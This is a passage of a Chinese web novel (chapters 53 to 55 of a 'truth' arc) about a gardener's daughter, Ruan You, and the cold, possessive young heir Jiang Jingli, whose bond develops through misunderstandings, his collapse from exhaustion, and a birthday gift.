反观阮柚,笑得瞳仁黑亮,心思如映不见阴霾的白纸。这样单纯无私的性子,未来对她,究竟是好还是坏呢。 她沉默又多余地想。 * 阮柚起初不知道这份改变意味着什么。 直到她穿上精美珍贵的鞋子,被规矩束着,轻手轻脚踩在不沾灰尘的高级地板上。 阮柚才慢半拍明白,或许,这就是他们用羡慕的眼光看自己的原因。也许在他们眼里,被选中,就意味丰衣足食,从而跨越难以打破的阶级。 阮柚有一瞬地茅塞顿开,很快,被远处传来的声音吸引了注意。 疑惑是一种出于本能的动作,却在此时,在一伙人纷纷低头的动作下,衬出了冒犯失礼的意味。 江净理就是这样看见她的。 少女立在一排站着的仆人里,眉眼舒展开,瞳仁透净纯粹,毫无保留望向了自己。 他见过形形色色的眼神。 有谄媚恭敬、也有厌恶怨恨,有畏惧防备,也有冷酷失望。 有些记不太清,因为他不在乎。 但他万分清楚地知道—— 江净理缓步走近了些,直至身影遮过窗边的光。他无声息垂垂眸,冰凉指尖在她的眉眼间轻扫而过,宛若在悉心描摹近乎完美的画作。 惹地对方触了电轻缩脖颈,隔过空气,乌生生的眼睛流露出了星点疑惑与茫然。 江净理忽的轻笑了一声。 少年声线本就清冷,骤然发笑,引来不少人心颤了下,由此,纷纷将头埋地更低些。 少女似后知后觉意识过什么,快速压低头,有些局促地刮蹭掌心。 “你很特别。” 江净理松了松唇,缓慢笑开时,周身血液仿佛跟着热了起来。 他再度起了确信自己的选择。 “与众不同”,他几乎能联想到,所谓的母亲会对她的评价。 所以—— 染脏她吧。 让她坠落,让她拥抱同样的黑暗。 成了他忽然想要追逐的乐趣。 阮柚对少爷江净理的第一印象,其实没有旁人口中描述地那般惊心动魄,惊艳人心;反而,只在望去时,产生了几分稀疏平常的好奇。 这个小少年明明生的这么好看,怎么看起来那么冷漠呢?出现在绿藤树干旁,宛若一尊毫无生趣的漂亮人偶。 当然,在得知他身份后,她非常聪明地没有将自己的想法说给别人听。 而今—— 她想起最后望见的那双乌沉沉的眼睛,有些闷闷不乐。 他好像有点奇怪。 感觉明明自己什么也没有做,就被他莫名其妙地讨厌了。 新认识的同伴拍了一下她的肩膀,“少爷刚才夸你特别呢,你不是应该开心吗?” “能得到这样难得的看重。” 末了,她又补道,目露些许向往。 怎么如今耷拉着小脑袋,就差叹出一口气了呢。 “你觉得,这是一种看重吗?” 阮柚抬抬眸,语气染上不确定,“我反而觉得,他好像很不喜欢我。” 话刚落地,她的脸颊便被对方揉了揉。 对方似乎很不解,忍不住哀嚎了句,“你在想什么啊,讨厌你,怎么可能呢!” 阮柚几分茫然地飘晃眼睫,她其实也不知道为什么会有这样的感觉。 她怔怔地看着,白嫩脸颊晕染上了些许粉意,有股子天然呆的萌态。 “嗯?” 阮柚下意识应答,嗓音从喉咙溢出来,闷闷地,像小猫呜咽。 同伴心瞬间被融化,小声嘟囔,“我是说,你想多了,谁会讨厌你呢!” 除非、除非那人是个瞎子! 阮柚很快就不在想这件事了,她是一个心大的人,鲜有会想多的时候,因此也忘的极快。 更何况—— 在后来几周里,她也没怎么见到先前遇见的小少爷。因为她忽然有了很多要学的课程,从乐器到马术,从茶道到礼仪,这几乎填满了她的时间。 阮柚有种无人能解答的疑惑。为什么,她要学这么多呢?比起被人严肃纠正站姿,她更喜欢在小花园开心玩耍。 她有好久没见到晓愿他们了呢。 想起这些,她片刻失神,终在反复询问过后,得到了一个模糊的答案。 “跟在他身后的人,不能失格。” 阮柚当然知道“他”是谁。但初听见这句话,还是愣了愣。 她仿佛接触到了往日不曾触及的某种理念。迷迷糊糊间,初拨开迷雾的一角。原来平庸之于他们而言,本身其实是一种失格啊。 可是,她并不这么觉得啊。 阮柚低下头,安静看着早已枯萎的蔷薇花,不免生出丧气的念头。 她有点想回去了,但是她知道,如今没人会真正倾听她的想法。 在她看来,比起这样看上去光鲜的生活,她更喜欢和朋友们在一起玩。 在这里,没有了能和她一起玩的朋友。 都是教她应该做什么,没人问她究竟想做什么。 江净理仿佛将她遗忘了,从那天以后,阮柚再也没有见过他。 这让她不知为何长松了口气。 在他们口里风光霁月、贵不可言的少年,不知何时起频繁出现在它梦里。 在那里,少年伸出来那只白皙的左手化成了深色藤蔓,将她一下子紧缠不放,任凭她再怎么哭喊求饶也没用。 醒来之后,她揪着被子大口喘气,害怕的不行。 某日,阮柚顶着眼底鸦青,实在忍不住地将这些梦说给了经常聊天的同伴听。 “所以你说,他会不会真是那种…” 阮柚抿抿唇,她其实先前有无数荒诞离奇的猜测,最后她只想起一个,“是妖怪变得呀。” 毕竟,那些书里好多都是这么写的。 思及此处,她不由握紧了些裙子,乌溜溜地眼眸流露紧张。 她莫名想起少年先前奇怪的动作,眉间处似乎隐约余存着冰凉,难道说——那个动作其实是在施法? 听了她的话,对方神情一阵古怪,而后,爆发出长笑,直震过了耳膜。 阮柚下意识退了半步,奇怪地看了她一眼。 “不是。” 同伴笑了个不停,最后直接笑弯腰,声音断续连成了句,“你是怎么做到一脸认真,说出这个离谱到不行的猜测啊!” 江净理少爷,竟成了阮柚口里凶神恶煞的妖怪? 哈哈哈哈哈哈哈哈哈哈哈哈哈哈。 太好笑了吧! 阮柚起初不知她为什么笑,但听完她的话后,也意识过来对方在嘲笑自己。 她不由脸热了热,耳根也晕上淡淡的粉,她想说只是个猜测而已,她在思绪上向来是天马行空,又是很少向人倾诉。 没想到一说出口,会收到这样的回应。 阮柚看着对方笑出泪的眼角,虚虚张了张唇,一瞬陷入失语。 忽然大脑一空,就不知道该说些什么。 而就在这个沉默间隙。 她难得较为敏锐地察觉到了身边环境的变化。周遭不知何时起,变得异常静谧,近乎是落针可闻。 落地窗帘徐徐浮动,有花香淡淡吹了进来,本该起到抚慰人心的作用,而今却像在提醒着,一切的不同寻常。 空旷室内只剩下渐渐消退地笑声,同伴似乎也察觉异样,直起了身,神色难得正经严肃了起来。她在心里升起了一个不敢接受的念头。 阮柚转过了脸,待定眸过后,心口处微微一沉。 还真是怕什么来什么。 在这时候,她万分希望着自己能有一种让人忘掉一切的超能力。 这样就可以不用去直面那人。 江净理旁若无人地走了过来。似乎听了什么值得发笑的事情,阳光底下,连带眼尾都染上些许笑意,“原来是这样啊。” 少年停在了阮柚面前,周身气息清冷干净,让她莫名联想起颤落枝头的霜雪。 他兀自垂下睫毛,并未在乎微妙的气氛,反倒直直对上了阮柚有些闪烁的眼神。 视线交汇的那一刻。 江净理慢吞地恍然一笑,再开口时,却没多少情绪起伏,语气淡然平静,“原来我一直睡不着,是因为跑你梦里了。” 第53章 第五十三章 真相篇|江 五十三章 没想到再见面, 会以这样的方式。 被当事人现场抓包,阮柚心脏紧张不安的跳动着。然而,等江净理站在自己面前时, 阮柚却莫名其妙地平静下几分。 她颤了颤睫毛,忍不住看了他一眼。 好像不见生气的样子。 离近了,才愈发闻到对方身上幽冷干净的气息, 很好闻, 却有股子拒人千里的冷调。 身侧,同伴颤巍巍地道歉很快拉回她的思绪。阮柚终于回过神, 心头一紧,道歉的话语不加思考就说了出来。 是啊,她不该在背后议论他的。 江净理却看着她,沉默了良久。 室内空寂明亮, 飘荡的光线斜照于墙壁上的油画,那里是无边的蓝海, 画笔曲线错乱挥洒, 却有种纠缠极致的美感。 不知作画人当时在想些什么。 少年始终没有回答。 久到阮柚结束放空, 有些疑惑地抬抬眼, 他才略略转开脸, 眼神乌黑平静。 江净理:“你好像一点不怕我。” “嗯?” 阮柚一阵茫然,接不上思路。 为什么要怕他呀? 江净理牵了牵唇角,似看见有意思的反应, 低了低头靠近些。 一时间, 少年俊美的脸在她的眼前放大, 就连细小绒毛都能够清晰可见。 阮柚毫无征兆落去了他的瞳孔里,眼底茫然、疑惑、失措等情绪就这么成了倒影。隐约之间,她似乎听见有人倒抽一口凉气, 又迅速地懊恼捂住。 江净理却笑得更深,“好久不见。” 他侧开脸,在她耳边说道。 阮柚呼吸滞了滞,一时有些说不出话。 她觉得这位少爷好奇怪啊,总是说些她听不懂的话,让她不知该如何反应。 但是在不久后,阮柚或多或少明白了对方那句“好久不见”的意思。 她被年长的女仆更换了住所,从那天起,几乎每天都能够见到江净理。 他们相处还算融洽。 阮柚甚至觉得,比起在别人口里性子冷漠的将净理,她更愿意去相信自己看见的。江净理待她温和,常会逗她笑,还在出游后,送她各种有趣特别的小礼物。 他有时喜欢一个人关在屋子里画画,没日没夜,只为追寻最佳状态。 比起对待旁人的从容让步。 少年对于自己,才是近乎苛求的地步。 阮柚偶尔抬头时,会看见帘边晃荡的清瘦长影。他安静立在那里,不知在看些什么,那道影子倦怠无声。 好奇怪,明明最众星捧月的人,却会流露出如此孤独的气息。就好像,什么都不在乎般,与世隔离。 直到某天,隔着漫长虚空,少年遥遥同她对视上。他下意思眯了眯眼,半晌,阮柚出现在了他面前。 “你在可怜我。” 江净理语气陈述。 阮柚摇了摇脑袋,“我没有。” 见到他这幅模样,本能地想辩解,却在组织语言时候,生生咽了下去。 她见他转过了脸。 江净理掀起眼皮,语气疏冷的可怕,“阮柚,我讨厌这样的眼神。” 他望向她的眼神冷冰冰,“凭什么,你要这么看着我。” 阮柚心口闷涩,整个人耷拉了下来。 在这时候,她连想要辩解的念头都没有了。 被讨厌的滋味不怎么好受,更何况—— 这么多天的相处,她还以为、还以为他们可以称作朋友了呢。或许真的是由他们所说的,他们身份差这么多,哪里可能做朋友呢? 懵懂之间,她似乎触及到从前从未听信的、所谓的世俗观念。 对方一句“凭什么”将她热情浇灭了。 最后,阮柚沉默又有些难过地离开了。 她跑去找了晓愿。 见她来了,晓愿非常开心,带她去了他口里的“秘密基地”。那是一株老树,枝繁叶茂、几乎遮天蔽日。 她先前有些不解,但直到她费力爬了上去,才恍惚地明白过来。视线穿透虚掩的树枝绿叶,能够依稀触连远处澎湃的碧海。 风景像画一样美丽。 “其实等到日落时候,会更好看的。” 晓愿晃了晃两条腿,他眨了眨眼,不太自然的说,“阮柚,你别不开心了。” 他似乎不怎么擅长安慰人,话语也干巴巴地。阮柚却在忽然间,将什么不开心都忘掉了。 她弯起了眼睛,笑说,“好呀,那我要等日落。” 晓愿眼睛一亮,仓促地看向风景,“好,我…我也是这么想的。” “秘密基地”之行驱散了她所有的不开心。 阮柚很感激晓愿,她在最后抱了抱他,这是她告别的方式之一。 小少年一下子安静了下来。 他有些不知道该说些什么,最后,只说了句再见。又在看到她背影远去时,陷入了漫长的懊恼。 他明明有很多话想对她说的,怎么她一出现,就全都忘记了呢? 好笨啊他。 阮柚回去时,周遭夜风袭袭,华灯渐起。 整座庄园像被笼罩在了明亮灯火里,望上去气派庄严。 在厅间走了没几步,阮柚手腕被人忽然一拉。 阮柚一怔,看向面前站着的女仆长。 对方眉头紧锁,神色有股说不出的严肃,“跟我过来,少爷一直在找你。” 阮柚安静地颤了颤睫毛。 似觉察她下意识间的抗拒,女仆长看了她一眼,握住的力道松了松,“没关系的。” 他只是,一直在等你回来而已。 “今天是个很重要的日子呢。”她摸了下阮柚的头发,出神地叹了一口气。 “嗯。”阮柚注意全然落在她的上一句,也对,她在抗拒什么呢。 推门而入时,入目的是冗长的黑夜。 借着屋外飘来的光,阮柚隐约找到了他的身影。 阮柚歪了歪头,问,“为什么不开灯?” 回应她的是须臾的寂静。 半晌,少年没什么情绪地出声,“忘记了。” 阮柚在心底叹了口气,她并没有选择开灯,而是朝他的方向走近些。 “是有什么事么?” 她问。 “去哪里了。” 江净理不答反问,坐在沙发,神色隐在黑夜里。 阮柚想了想。即使心里有些许疑惑,还是如实回复了他。 末了,她抿了抿唇,小声补充了句,“今天没有我要做的事情。” 所以她没有偷懒,只是心情不太好。 但现在,已经完全变好了。 她在心里默默地想,眼底覆盖一层温瑟。 在这时,江净理忽的笑了一声,问,“哦,那是什么地方?”少年语气冷冷清清,融在寥落的星夜,如焰火轻卷,一点一点地,将情绪燃烧殆尽。 也许是黑夜会放大人的感官,阮柚手指刮蹭过掌心,敏锐觉察他些许的不对劲。 他真的,有那么讨厌自己么? 阮柚垂了垂眼,止不住地在心里想着。 但是丧气归丧气,她依旧没有忘记“秘密基地”四个字的含义。况且她答应过了晓愿,不能告诉其他人,她不想就这样当个违背承诺的人。 于是阮柚没有正面回答。 在对方良久的沉默里,不得已含糊补了句。“…是一棵树。” 即使看不见他的神色,阮柚也觉得江净理看了自己很久,久到她起了想要离开的念头。 “我知道了。” 江净理终于回答了她,轻描淡写地说了一句,“这是你们之间的秘密。” 阮柚张了张唇,无声地点了一下头。 她感觉到他语气有些奇怪,却又不懂自己为什么会产生这样的异样。 这时,窗边骤然闪过一道强烈的光线,不经意掠过了少年清冷的眉眼。他的眸子乌沉沉地,晦暗不明,参不透此刻的心情。 外面有车停下,躁动而热闹。 似乎来了什么重要的人物。 阮柚眨了眨睫毛,颇有种如梦初醒的感觉。 而反观江净理,始终无动于衷坐在那里,身影隐没在长夜。 她的内心滑过了一抹异样的感受。 过后,江净理声音再度出现,他问她,“就那么重要么?” 阮柚不明所以,心种咀嚼过这句话,“什么意思?” 江净理听出她语气的迷茫。 不必去看,也能猜到她此刻神色,懵懂茫然,宛若一张不曾沾染的白纸。 他的心脏忽然变得空洞极了,除了被黑夜吞噬的心跳声,几乎感知不到任何存在的意义。 麻木而冷酷。 于是。 他抬了抬眼皮,以一种近乎顽劣的语气开口,“你口中的秘密基地,原本就不该存在。” 阮柚眼神一怔,不太确信地望向了他。 少年慢条斯理地站起了身,很漠然地望向楼下发生的的一切。隔着一面巨大的落地窗,女人小心翼翼呵护着怀里的小孩,眼神是从未见过的极致温柔。 他驻足不动,忽然生出一股索然无味的感觉。 到底在期待什么呢? “为什么不该存在?”阮柚眼神忽闪,在他身后闷闷地问,“你刚才说的这句话,是什么意思。” 或许想要真的确认什么。她头一次,有种想要刨根问到底的念头。 江净理闻声看向她。 空气弥漫浓重的静,与外面热闹景色截然相反,像是割裂成了两个世界。 在看清对方藏掩不住的失落后,少年眉眼微敛,呼吸一下子变得很平静。 在彼时,他找不到任何缘由。 因此,重新望向她的眼睛后,他继续说了下去。 少年微微滚了下喉结,“因为这里一切都是我的,包括你。” 他的嗓音空冷,仿佛进行着居高临下的宣判,就这样将定局敲下,“所以,你不应该有秘密。” 第54章 第五十四章 真相篇|江 五十四章 阮柚眼神缓慢寂灭了下来。 在此之前, 她有些预感江净理的答案,但想归想,真正听进去的时候, 她其实还是有些难过的。 在这时,她想起别人对她说过的话。 “无论如何,都不要做任何让江少爷不开心的事情。” “阮柚啊, 你是不是忘了什么。” “你是花匠的女儿, 能有被少爷挑中使唤的好运气,简直就是天大的恩赐了。” 是啊。是她越界了。 以至于, 忘了自己的身份。 以为这么多天相处起来,他应该…没那么讨厌自己的。 “嗯,我知道了。” 良久,阮柚听见了自己的声音。她将自己的声调压的很轻, 乱糟糟的心情也努力藏匿在黑夜里。 在这一刻,她不想给自己添麻烦。她才不是那么脆弱、因为他的一些话就难过的人呢。 阮柚重重按了下手心, 不知哪里余存的勇气, 深吸一口长气道, “但那不只是秘密, 还是我们的约定。我没有权利去单方面的打破。所以, 我还是不能把这件事告诉你。” 她并没有想反驳什么,只是把心里话说了出来。即使,她能够依稀感知出对方情绪上的不对。 江净理并没再说话, 整个人突然安静了下来, 没人知道他在想什么。 阮柚低了低睫毛, 干巴巴同他道了声别。她气馁又赌气地想,既然这样的话,那她也不再想着和他交朋友了。 就这样吧。 没有等他回答, 她温吞退了退步伐,选择转身离开了。 虚掩的房门透过微光,落在几步远的地板处。阮柚朝那走近些,一时间,房间只有她的脚步声。 直到,身后倏然传来一声撞在地板的闷响。 像是有人倒在地上。 她步伐一停,下意识回过头。 待见清眼前一幕后,阮柚心跳一空,几乎什么都不想了。 — 江净理突如其来的晕倒在江家引起不小骚动。医生连夜从临市风尘仆仆赶来了江家,为他做了全方面检查。 最后得出了换季感冒、外加长期失眠导致的过度疲惫的结论。站在人群外缘,阮柚第一次看见江净理的父亲。 男人身量颀长笔直,着了身熨贴到一丝不苟的深灰西装,很像是刚从重要场合回来。 他的容貌和江净理有七分相似,只是轮廓更深刻些,周身沉淀着上位者的杀伐果决。 阮柚有种感觉,这也许就是江净理长大后的样子。但是不知为何,她并不想看他变成这样。 庄园因为男主人的到来,而焕发往日不见的鲜活气;同样也因为江净理的事,而笼罩不小的阴霾。 江父以疏于照顾的名义解雇了很多下人,一时间,周遭纷纷大气都不敢出。 阮柚被人推到了前面,在大致了解缘由后,江父静静打量了她一会儿,什么都没说,就让她离开了。 她不知道该是什么样的心情,只是脚步愈发沉重,连带自己的心情也是这样。 有人看出她的失落,小声道,“不用内疚的,这种事在你没来之前就时常发生。” “先生今天只是…应该心情不太好罢了。” 阮柚抿唇一笑,“谢谢你,我感觉好多了。” 她悄悄看了眼不远处紧闭的房门。 应该早点发现的… 这样的话,也许他就不会晕倒了。 就在这时,阮柚隐约地听见了笑声,与周遭浓重氛围格格不入,脆亮而突兀。 江父则眉头轻锁,循声望了过去。 “小姨小姨,我还想听你上次给我讲的故事。”男孩仰头撒娇,似乎有着说不完的话。 “好啊,那就从上次精灵王国的故事说起吧。”即使小孩活泼乱动,轮椅上的女人仍耐心地为他整理衣领,眼神不失温柔。 两人从走廊末端出现,就这样落入一行人的眼里。阮柚看清是谁后,眼睛微微一亮,但很快被淡淡疑惑所替代。 而周遭均是神色复杂,不敢说出一个字。 “小瑾。”江父无征兆地出声,目光示意江母身后的阿悦,“我有事和你小姨说,你先自己玩会儿。” 阿悦神色闪烁了下,诺诺地说了句好,就要去牵小瑾的手。 江母抬起头,眼底笑意转淡,最终寻不到踪迹。 她面无表情看了过去。 气氛一下就陷入了僵持。 小瑾一向对喜怒不形于色的姨父有些怵,他缩了缩脑袋,小心翼翼问了声好,半个小身子都藏在了江母身后。 江母不咸不淡,“我的人,不需要你来吩咐。” 说罢,她自顾自拉过小瑾的小手,专心安抚他的心情。 阿悦心情也有些复杂。 即使想要提醒女主人,但她心里清楚,现在的她,哪怕是只言片语都不会听进去。 江父眼神一暗,道,“你是不是真忘了,到底谁才是你的孩子。” 阮柚这才后知后觉地觉察出,到底哪里不对。 是啊,对比她对小男孩的温柔亲密,她对于如今还在生病的江净理,似乎过于冷淡了些。 她想先前的传闻。 但,到底为什么会这样? … 闻言,江母紧握住小瑾的手。 她抬了抬眼皮,半晌过后,清清冷冷地笑了一下。 “我宁愿真的想不起来了。”她的语气毫无温情,说完,便让阿悦推着自己离开。最后变成一道背影,头也没有回一次。 阮柚呼吸一滞。 场面气氛一瞬变得万分凝重,冷的逼人,几乎只剩了刻意放低的吐息声。 江父眼底没了情绪,完美到几乎面具的脸庞多了丝裂痕,却很快地克制了回去,维持矜傲表象。 他似乎还想说些什么,却因为身后的推门动静而戛然。 阮柚循声看向门框边出现的医生。 “江少爷人已经醒了,药也吃下去了。”江父神色稍霁,不冷不淡点了点头。 医生面色犹豫地说,“他说觉得外面很吵,想要一个人安静。” 江父闻言,收回想要推门的手,脸色不算好看。 夜晚忽然下了一场暴雨,电闪雷鸣,将整片天际映地忽明忽暗。 阮柚在床上翻来覆去,怎么都睡不着。 也许是今天经历的实在是太多了,脑海里一幕幕像烙印似的,至今仍然挥之不去。 她的眼前一片漆黑。 她的思绪,也莫名定格在了江净理最后望向自己那一刻,那一双无波无澜的的眼睛。 好像有没有说出的话。 会是什么呢? 窗外雨声淋漓,几乎盖过其他所有声音。 阮柚忍不住心想着。 恰在这时候,她的房门被人急促敲了敲。伴随着外面的电闪雷鸣,无不让她瞬间从混沌的意识里拉拽了出来。 她睁开了眼睛。 打开房门,站在门外的人是女仆长。 对方应该刚从外面出来,身上尚沾染些许雨水,待见到阮柚出现后,稍微放缓些神色,“不好意思,打扰到你睡觉了。” 阮柚很轻摇了摇头。她本来就睡不着。 况且,女仆长在这时会过来,一定有她自己的理由。 果不其然,对方双手落在她的肩膀,很认真地问她,“阮柚,你不知道今天是什么日子吗?” 阮柚大脑一片空白,很慢地摇了摇头。 今天,什么日子? 对方微微叹息一声,自顾自对空气说了下去。“也是,你不知道也很正常。” “今天是少爷生日。”她一顿,“虽然,他从来不过。” 阮柚一愣。 江净理情绪总是藏的很深。 有时,即使她站在他面前,她也猜不懂他的真实想法。因为他鲜少展露出真实的一面。 但很罕见地,在某日清晨,他忽然拉住她的手腕,冰凉凉的温度让她止不住聚过神,无声息地驻足下来。 那时,江净理下颌微抬,问,“三十号下午,有时间吗?” 阮柚点头 “嗯,那就约好了,过来陪我。” 而今天,恰好就是三十号。 ——是她忘了。 阮柚心脏一紧,意识到这一点后,耳畔像发出断弦似的轰鸣。悬浮的咸冷空气湿漉漉钻进了鼻息,让她不知觉抽了口气。 喉咙闷涩至极,控制不住的内疚涌现出来。 她当时说了什么呢? 说她答应了旁人,所以要信守约定,可她自己,却忘了先前答应江净理的事情。 她怎么能这样呢。 女仆长:“虽然他从来不过生日,但是我们习惯每年为他做蛋糕送过去,少爷虽然不喜欢甜食,但总会亲自尝几口。”她侧侧眸,视线温柔了下来,“阮柚,今年你也来吧?” 阮柚当然不会拒绝。 蛋糕做好以后,她跟在了女仆长的身后,忍不住轻问,“我能知道,为什么他从来不过生日呢?” 女仆长动作一滞,眼神闪过了复杂。 她并没有很快回答她,于是阮柚抿了抿唇,决定打消这个不该有的疑惑。 她忽然想到了什么。 “我想回一趟房间。” 女仆长点了点头。 “好。” 阮柚回房间后,从桌子里翻找半天,才从抽屉深处找到了一个藏青色礼盒。 她握在手心,不假思索小跑出了房间。 江净理房门半敞开着,透来一道通亮的光束。生日蛋糕被一动不动退了回去,女仆长面露无奈,一点办法都没有。毕竟谁都能看出,少爷他状态不佳。 这些事,真是一个无解的命题。 阮柚在对方门前踌躇许久,她想不出该做什么开场白,也不知道自己擅自的决定,会不会让他更添不适。 但她真的很想和他说一声对不起。 她抿紧了唇,终于鼓起勇气之时,房门却忽然彻底敞开了。 猝不及防间,她怔怔地对上他的眼睛。 江净理肤色比起之前苍白些,乌黑睫毛微覆,透着说不出的清冷感。 他先开口,“我看见你的影子了。” 似乎看出了她在想什么。 于是,阮柚顺口回道:“我是过来找你的。” 令她意想不到地,他点了点头,“嗯,我知道。” 他知道? “不然为什么出现在这里。” 江净理靠了靠门框,懒恹恹地。 阮柚:…… 对哦。 无声无息间,心底那抹不自然消融了大半。来之前,她还在想自己该怎么面对他。但是当他在她面前时,她却松下了紧绷的神经。 周围不知何时变得极静。 只剩他和她。 阮柚深吸了口气,说了声对不起。 她不想让自己问心有愧。 “对不起我什么?”他音色磁哑,似有些疑惑。 阮柚解释。 江净理轻轻地按了按眉心。 “哦,这样。” 他挑了下眉,语气不咸不淡,仿佛一件很稀疏平常的事,兴不起分毫波澜。 阮柚咬了咬唇,不免有些忐忑。 这时,江净理缓慢垂下头,弯唇笑,“原来这样做,就可以收获你这么精彩的表情啊。” 阮柚眼皮倏地一跳。 什么? “那还挺划算的。”少年慢吞笑开,灯火昏黄处,徒添了些恍人心神的倦懒意味。 阮柚实在没料想到,他会是这样的反应。 她安静地看他,依旧难以平静。 不知是不是沉默放大了她的感知的缘故,在某一刻,她好像看穿他的表象似的,触及他眼底深藏、与年龄不符的冷漠与疲惫。 以后,他可能就再也不相信你了。 他从来,最多只会给别人一次机会。 阮柚手指刮蹭掌心,心里有道声音在对自己说。 她恍惚意识过来。 “怎么了。” 再开口时,江净理语气少了些温度,问她,“你也睡不着么?” 阮柚却心脏跳的有些快。一种近乎于紧张的情绪澎湃心间,难以平息。 这一刻,她急切地想要挽留住什么—— 后来她想,也许是她向来渴望的友情; 又或许,是想要留住那个站在她眼前,完整真实的江净理。 于是,阮柚抬了抬眸,鼓足勇气,很认真叫了声他的名字。 “江净理。” 江净理神色淡淡,见她轻低下头,在从口袋摸索什么。 他在沉默中,独自消磨耐心。 然后在这时,一只白皙的手出现在他眼前。 那里蜷握着一个盒子,先前,他从来没有在她那里看见过。 他下颌微低,看着它,眼神流露一瞬茫然。 “那天我见你一直在看它。” 阮柚抿了下唇,做出了解释,“我猜想,也许你和我一样,也很喜欢它们。” 灯光飘渺落下,她微微曲指,小心翼翼将盒子打开。 江净理垂下了眸,安静至极。 少女眼神缓慢扑闪,发丝边缘染上了光晕,话说着,眼神认真极了,“所以,我把它雕刻了下来了,想着有机会一定要送给你。” 最后,四目交接。 她的眼睛弯了起来,好似在担心他不喜欢,动作慢吞吞地不太自然,但不知道有什么在支撑她说了下去,“生日快乐啊,江净理。” 屋外雨声渐停,隐约传来滴答滴答的坠落声,不轻不重敲击过了地面,透彻清晰。 江净理眉眼微动,呼吸不知觉慢了下来。 听着对方语气的祝福,他安静伸手接过她的礼物。 那是一个蔷薇木雕。 很奇怪。 那日初见,待看清她手里握着的蔷薇时,他其实只有一个念头,就是毁掉它。 他最讨厌,那虚有其表的蔷薇花。 但而今——— 江净理望向阮柚眼底浮现的笑意。 她的眼神夹杂着纯粹的期待、与他之前很不想在那里看到的歉疚感。她对谁都毫无保留,谁都相信,即使是他。 从前,他常冷眼旁观。 如今,注视她的眼睛,只觉微妙。 那里美好纯然,无声烙□□房。 他试探性地握它在手心,忽的对她笑了下,最后,连带眼尾都染上了笑意。 他现在,却只想守护好它。 这种感情,来得陌生至极,又万分不可思议。 第55章 第五十五章 真相篇|江 又是一年春, 风和日丽,晴空万里。日光氤氲下,蔷薇花海如梦如幻。 阮柚单手撑着下巴, 百无聊赖地望着窗外风光。漏下的日光随风烁动,像打着节拍,随她默念起最后的倒计时。 三, 二—— 一。 阮柚垂着眼睫, 眼睛笑盈盈弯了起来。 楼下,少年出现在她的视野里, 他不知觉地长高了不少,身影看起来高挑挺拔,眉眼间透出不苟言笑的清傲疏离。 日光打在他身上恍的刺眼。 阮柚眼尾微眯,再聚神时, 江净理已经停了下来,掀起来眼皮看她。 阮柚眼睫微动, 不躲不闪地看过去。 唉, 这么快被发现了。 江净理唇角弯了一下, 道, “偷看我?” 哈? 她才没有偷看。 闻言, 阮柚满眼不赞同地纠正,“我是光明正大的在看啊。” 话音刚落,江净理怔了一瞬, 下一秒, 轻笑出了声。 “是啊。” 少年眨了眨眼睫, 重复着,“是我说错了,原谅我吧。” 阮柚笑弯了眼睛。 唔, 她怎么会因为这点小事儿生气呢? 江净理在十六岁,告别江家精英系统所配置的家庭老师,即将入学国内最顶端的贵族学院圣煜。 作为江家唯一继承人,这几日他不是在参加宴会,就是学着处理江家事务,忙的几乎看不见影,所以阮柚如今见到他,欢喜满当当地占据了内心。 终于又回来了。 书房里,偶有翻书声传来。 江净理肩膀倚靠书架,低头检查她的课业,眼神极静。 少年的手指停留在某处书页,手背凸起的筋骨线条流畅分明。阮柚默默注意到他多了副银色尾戒,镌刻华美,还未让她分辨,对方倏然合上的动作让她彻底回过神。 嗯? “阮柚。” 情绪还未收回去,就听见江净理在叫自己的名字。 阮柚于是应了声。 江净理将书本合好,嗓音淡淡问,“你不喜欢这个老师吗?” 虽然不知他为什么这么问,但阮柚还是摇摇头,认真地道,“没有。” 江净理:“那为什么好多都是空白的。” 空白的? 她忍不住凑过去看,确定一番后,心脏砰砰地直跳。 大概是鲜少做亏心事儿,她连带耳根都腾起了热意,心虚都写在了脸上。 忘记把这里抄上去了。 一时间,她不知道该如何作答。 江净理默不作声,见状一瞬就有了答案。他低了低睫,最后,有些无奈地捏过她的后领,让她看他,“阮柚,我没生气。” 真的吗! 阮柚直直对上了他的眼睛。 “我…我不太想写这些。” 江净理:“那就不写。” 诶? 阮柚心感意外。 下一秒,听他语气寻常地问,“可你不是说好,会一直陪我玩吗?” 所以? 阮柚眼睛缓慢眨了眨,眼里略有疑惑。 江净理下颌微低,乌黑眼瞳直视过来,专注到几乎要将她吞没,“那如果这样下去,你就不能来圣煜找我了。” 他的声音清冷,平静到听不出丝毫情绪,却透了些蛊惑般的认真意味。 阮柚颤颤睫毛,一时思绪被他带偏,但转念一想,还是回道,“…其实,也可以在江家玩呀。” 话落,空气氛围似凝了些许。阮柚忍不住摸摸鼻尖,越发觉得没什么联系,难道说—— 他以后进了圣煜,就不回来找她了吗? 而这时,江净理忽问,“你不想来圣煜吗?” 阮柚闻言,张了张唇,颇有些惊诧看向他。因为她从未有过这个念头。而在对上江净理的眼睛那一刻,她却忽的一瞬滞住。 半晌,阮柚坚定摇头,眼神清凌凌地,“我不能去那里。” 纵然她并不刻意去理会,但在耳濡目染下,还是能够感受到这里的分明阶级的。 圣煜是国内最顶级的贵族学院。 而她一没钱,二又不聪明,为什么要录取她呢? 江净理却说:“你可以来的,只要你想。” 阮柚闻言,罕见沉默了下来。她眼神闪了一下,脑海混沌,有些不知道该怎么回答。 少年眸色微冷,略略站直了身,“我知道了。” 阮柚捏捏手心,连忙看向他:“我是觉得,”她话语微顿,最后轻若未闻,“现在这样就挺好的。” 她已经很喜欢这样的生活了,也不想去改变什么。 闻言,江净理步履微顿,很轻地抬了下唇角,“嗯,你喜欢就好。” 阮柚最怕听到他说这句话了。因为这代表着对方的心情不悦。 傍晚时分,她正帮忙插花,忽地听到有人在小声地谈论些什么,就这么飘到耳朵里。 “……最近推行的排外法案,好像得罪了不少人呢。” “你在这里白担心什么,先生这么力排众议,肯定也有了对策。” “我哪里是担心这个?我是心疼小少爷,毕竟是我看着长大的孩子,现在因为这个,整日忙的天天吃头疼药。” 阮柚闻言,眉头微微皱起。 江净理又头疼了? 明明自从失眠现象好转后,他很少会头疼了。 这时—— 一道声音的出现骤然将议论声打断。 “在这里妄议雇主,这就是你们所谓的职业素养吗?” 接踵而至的是一阵慌乱至极的道歉。 女仆长严肃皱眉,又批评了几句。她没想到过来这里,会有这样的“意外收获。” 过后,她环顾四周,而后叫住了阮柚。 “我有事找你。” 阮柚眨了眨眼,跟了过去。 只剩下两人,她忍不住地问,“少爷,他又头疼了吗?”话刚落,又慢半拍地反应过来什么,略略发紧,“我不是故意要偷听的。” 女仆长则面色不变,很轻地嗯了一声。 